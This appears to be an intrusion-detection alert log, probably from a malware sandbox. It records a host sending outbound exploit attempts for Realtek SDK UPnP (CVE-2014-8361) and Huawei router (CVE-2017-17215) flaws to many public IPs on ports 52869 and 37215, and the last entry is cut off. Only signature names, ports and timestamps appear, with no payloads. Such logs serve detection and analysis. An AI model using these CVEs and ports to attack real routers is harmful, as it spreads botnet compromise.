ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	2024-07-20T23:01:08.912088+0200
SID:	2027339
Source Port:	34906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.176.127.107

Timestamp:	2024-07-20T23:01:21.239495+0200
SID:	2027339
Source Port:	34482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.24.153.194

Timestamp:	2024-07-20T23:01:04.444176+0200
SID:	2027339
Source Port:	57262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.104.183

Timestamp:	2024-07-20T23:00:59.218458+0200
SID:	2835222
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.43.73.86

Timestamp:	2024-07-20T23:01:20.301694+0200
SID:	2027339
Source Port:	42216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.34.49.149

Timestamp:	2024-07-20T23:01:20.368453+0200
SID:	2027339
Source Port:	49258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.205.238.167

Timestamp:	2024-07-20T23:01:20.249177+0200
SID:	2027339
Source Port:	52264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.69.91

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	57218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	2024-07-20T23:01:09.107954+0200
SID:	2027339
Source Port:	59924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.2.133.89

Timestamp:	2024-07-20T23:01:22.216856+0200
SID:	2027339
Source Port:	35090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.130.2

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	37642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.110.226.143

Timestamp:	2024-07-20T23:01:18.269553+0200
SID:	2835222
Source Port:	53130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.36.116.167

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	53540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.48.165.8

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	35956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	2024-07-20T23:01:19.428185+0200
SID:	2027339
Source Port:	47302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	2024-07-20T23:01:19.637159+0200
SID:	2027339
Source Port:	48726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.137.254.119

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	56512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.177.125

Timestamp:	2024-07-20T23:01:00.654988+0200
SID:	2835222
Source Port:	45072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.243.7.84

Timestamp:	2024-07-20T23:01:21.198842+0200
SID:	2835222
Source Port:	55384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.76.243.3

Timestamp:	2024-07-20T23:01:21.221137+0200
SID:	2027339
Source Port:	37000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.33.225

Timestamp:	2024-07-20T23:01:18.424063+0200
SID:	2835222
Source Port:	47604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.201.20.41

Timestamp:	2024-07-20T23:01:20.367117+0200
SID:	2027339
Source Port:	34796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.182.217

Timestamp:	2024-07-20T23:01:02.079114+0200
SID:	2835222
Source Port:	33230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.68.235.59

Timestamp:	2024-07-20T23:01:19.831896+0200
SID:	2027339
Source Port:	34016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.86.47.43

Timestamp:	2024-07-20T23:01:13.014947+0200
SID:	2027339
Source Port:	52536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.117.109

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	48482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.33.245.21

Timestamp:	2024-07-20T23:00:59.218459+0200
SID:	2835222
Source Port:	39976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 57.35.73.126

Timestamp:	2024-07-20T23:01:18.422394+0200
SID:	2835222
Source Port:	39456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.195.250

Timestamp:	2024-07-20T23:01:21.967477+0200
SID:	2835222
Source Port:	42512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.160.194.136

Timestamp:	2024-07-20T23:01:22.232607+0200
SID:	2027339
Source Port:	33400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	2024-07-20T23:01:08.957638+0200
SID:	2027339
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.250.134.170

Timestamp:	2024-07-20T23:01:19.462356+0200
SID:	2027339
Source Port:	48042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.211

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	43708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.208.129

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	33424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.69.83.159

Timestamp:	2024-07-20T23:01:21.812527+0200
SID:	2027339
Source Port:	59006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.56.95

Timestamp:	2024-07-20T23:01:18.204287+0200
SID:	2835222
Source Port:	48860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.12.126

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	42956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 106.4.213.108

Timestamp:	2024-07-20T23:01:11.815719+0200
SID:	2835222
Source Port:	42374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	2024-07-20T23:01:08.903232+0200
SID:	2027339
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.86.78

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	33444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.103.118.184

Timestamp:	2024-07-20T23:01:00.654559+0200
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.135.58.157

Timestamp:	2024-07-20T23:01:20.267455+0200
SID:	2027339
Source Port:	59822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.104.194

Timestamp:	2024-07-20T23:01:02.065822+0200
SID:	2835222
Source Port:	45764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.16.105.104

Timestamp:	2024-07-20T23:01:02.067656+0200
SID:	2835222
Source Port:	47744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.174.225.184

Timestamp:	2024-07-20T23:01:19.858909+0200
SID:	2027339
Source Port:	38982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.146.83

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	60910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.208.110.238

Timestamp:	2024-07-20T23:01:21.822539+0200
SID:	2027339
Source Port:	49808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	2024-07-20T23:01:09.002255+0200
SID:	2027339
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.72.134.93

Timestamp:	2024-07-20T23:01:21.124881+0200
SID:	2027339
Source Port:	59050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.196.120

Timestamp:	2024-07-20T23:01:18.405549+0200
SID:	2835222
Source Port:	53302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	2024-07-20T23:01:23.420472+0200
SID:	2027339
Source Port:	35948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.128.9

Timestamp:	2024-07-20T23:01:18.422394+0200
SID:	2835222
Source Port:	44458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.63.61.192

Timestamp:	2024-07-20T23:01:19.876924+0200
SID:	2027339
Source Port:	50834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	2024-07-20T23:01:19.341430+0200
SID:	2027339
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.97.184.195

Timestamp:	2024-07-20T23:01:21.567284+0200
SID:	2027339
Source Port:	34988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.70.248.184

Timestamp:	2024-07-20T23:01:19.859313+0200
SID:	2027339
Source Port:	55998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.117.132.232

Timestamp:	2024-07-20T23:01:21.272933+0200
SID:	2027339
Source Port:	55066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.58.228

Timestamp:	2024-07-20T23:01:22.258326+0200
SID:	2835222
Source Port:	33984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.10.234.63

Timestamp:	2024-07-20T23:01:21.271803+0200
SID:	2027339
Source Port:	36072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.190.148.15

Timestamp:	2024-07-20T23:01:22.249100+0200
SID:	2027339
Source Port:	45276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.239.10.111

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	56072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.70.95.60

Timestamp:	2024-07-20T23:01:18.493759+0200
SID:	2835222
Source Port:	51880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.55.221.40

Timestamp:	2024-07-20T23:01:21.056479+0200
SID:	2027339
Source Port:	33450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.184.177

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	37906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.179.191

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	42692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.113.7.103

Timestamp:	2024-07-20T23:01:18.247235+0200
SID:	2835222
Source Port:	56886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.84.234

Timestamp:	2024-07-20T23:01:21.202997+0200
SID:	2835222
Source Port:	51864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.131.130.12

Timestamp:	2024-07-20T23:01:20.235362+0200
SID:	2027339
Source Port:	44404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.74.227.91

Timestamp:	2024-07-20T23:01:21.152484+0200
SID:	2027339
Source Port:	52936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 163.95.87.60

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	58024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.74.174.143

Timestamp:	2024-07-20T23:01:19.901007+0200
SID:	2027339
Source Port:	53882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.172.133

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.195.128.162

Timestamp:	2024-07-20T23:01:02.135090+0200
SID:	2027339
Source Port:	37616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.55.203.85

Timestamp:	2024-07-20T23:01:21.286674+0200
SID:	2027339
Source Port:	60246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.56.210.25

Timestamp:	2024-07-20T23:01:25.181612+0200
SID:	2835222
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.44.160

Timestamp:	2024-07-20T23:01:14.013456+0200
SID:	2835222
Source Port:	34426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.236.243.93

Timestamp:	2024-07-20T23:01:21.827430+0200
SID:	2027339
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	2024-07-20T23:01:08.903232+0200
SID:	2027339
Source Port:	51704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.186.20

Timestamp:	2024-07-20T23:01:02.127340+0200
SID:	2835222
Source Port:	45384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.37.94.236

Timestamp:	2024-07-20T23:01:21.187021+0200
SID:	2027339
Source Port:	52722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.46.59

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	53044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.225.222.112

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.70.14.160

Timestamp:	2024-07-20T23:01:21.099180+0200
SID:	2027339
Source Port:	51752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.115.244

Timestamp:	2024-07-20T23:01:06.518801+0200
SID:	2835222
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	2024-07-20T23:01:09.027075+0200
SID:	2027339
Source Port:	44806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	2024-07-20T23:01:19.924916+0200
SID:	2027339
Source Port:	56840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.8.134.128

Timestamp:	2024-07-20T23:01:21.894210+0200
SID:	2027339
Source Port:	39610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.198.90

Timestamp:	2024-07-20T23:01:00.658201+0200
SID:	2835222
Source Port:	50596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.16.187.60

Timestamp:	2024-07-20T23:01:19.861361+0200
SID:	2027339
Source Port:	35458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.109.181.179

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	41502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 219.159.165.91

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	44780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.145.107

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	36270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.62.189.35

Timestamp:	2024-07-20T23:01:11.815702+0200
SID:	2835222
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.195.200.196

Timestamp:	2024-07-20T23:01:19.845074+0200
SID:	2027339
Source Port:	41078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.42.160.177

Timestamp:	2024-07-20T23:01:20.275632+0200
SID:	2027339
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.44.128

Timestamp:	2024-07-20T23:00:59.203029+0200
SID:	2835222
Source Port:	43118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.152.128.124

